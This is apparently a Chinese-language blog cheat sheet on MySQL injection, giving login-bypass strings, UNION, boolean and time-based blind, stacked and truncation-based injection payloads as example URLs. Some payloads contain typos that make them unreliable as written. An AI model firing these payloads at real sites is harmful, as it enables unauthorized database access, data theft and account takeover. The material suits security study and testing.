MySQL注入汇总

Mysql注释符:

  1. 单行注释: # 在对URL使用过程中可能遇到Unicode编码问题,可常用%23代替
  2. 多行注释:/**/
  3. 单行注释: -- 此处需要注意后面存在空格,否则报错

0.万能密码

  1. (基于SQL验证,SQL注入)
  • aaa' or 1#
  • aaa' or 1; -- 会导致不成功,应为注释掉了sql语句拼接的单引号,导致无法完成查询
  • aaa' or 1; -- aaaaa
  • aaa' or 1; /******
  1. (基于%00截断绕过)
  • aa' or 1 %00/*
  • aa' or 1 %001451618646415:扰乱判定

1.UNION联合注入

前置关键词:union ;order by;limit;
union:使用时需要于前置查询结果列数相同
order by :可用于对指定列进行排序
limit a,b:取出查询的从a开始b个的指定位置数据
前置关键函数:database(); version();user(); database():当前数据库
关键数据库:information_schema

思路:直接查询

  1. 获取union前查询语句的列数
    例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通过使用order by 排序来判定列数
  2. 假设已知列数为3,可进一步使用联合查询执行关键函数
    例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通过使用order by 排序来判定列数
  3. 查询该当前数据库test有多少表
    例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通过使用information_schema的tables属性查询表,结合limit逐个查询
  4. 查询该当前表testTable字段信息
    例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通过使用information_schema的cloumns属性查询表字段,结合limit逐个查询。
    注意:TABLE_NAME='testTable' 建议将testTable的16进制写入进行替换

扩展,可以使用concat(a,'--',b)函数可以将查询到的两个结果进行拼接,一般用于账号于密码md5值对应

2.BOOL布尔注入(盲注)

前置关键函数:mid() ;ord();length();
mid(str,1,2):字符串截取函数
ord():转为ascii码
length():统计长度

思路:可以进行逐个字符爆破猜解

  1. 使用and或者or进行测试
    例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23
  2. 猜测数据库长度是否为3
    例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23
  3. 猜测数据库名
    例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23
    通过截取数据库名的第一字符并转至为ascii与数字不断比较猜测
  4. 完成数据库名测试后,开始爆破表数量
    例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23
  5. 完成表数量测试后,开始爆破表名
    例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23

3.SLEEP延时注入(盲注)

前置关键函数:sleep(),if();
sleep():指定睡眠时间
if():类似于编程的三元表达式

  1. 例如猜测数据库长度
    例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23
  2. 后面同布尔注入思路相同,逐个猜测即可

4.堆叠注入(Stacked Injection)

前置知识:SQL语法
注意:该方法不适用于Oracle数据库
利用原理:通过;来构造执行多条语句

  1. 例如可以插入信息,当然前提知道可以插入的字段,数据表等
    例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23
  2. 后面思路可以执行SQL语句的思路来进行更关键的数据获取,增删查改等操作

5.基于约束型注入

前置知识:SQL语法
利用原理:由于管理员在创建数据库时可能对字段长度进行约束,输入是超过其长度限制,利用系统截断功能处理,一般常用于insert中进行覆盖等,多见于CTF题型中

  1. 例如20个字符以内varchar(20),存储用户名为admin可在账户注册部分进行测试
    例如:注册账户设置为admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通过填充空格数进行恶意注册,利用数据库自行截断功能,获取的内容将变为admin(若代码存在清除空格)

6.GET型注入

7.POST型注入

8.Cookie注入

9.搜索型注入

10.宽字节注入

11.二次注入

12.Insert注入

13.报错型注入

14.二次编码注入

15.DNSlog注入(盲注)

资料参考

  1. CSDN: 基于约束型SQL注入
  2. CSDN: 基于约束条件的SQL攻击

后记

由于本人技术,精力有限,导致sql注入类型只是完成前5个详细说明,其他进行了列举,但是后期会抽出时间进行更新,以上内容有参考网上其他文章,已经列举至参考资料一栏,若存在错误,请大家予以斧正,若需商业化使用,请及时告知,谢谢。欢迎技术交流QQ:3300744526

你可能感兴趣的:(MySQL注入汇总)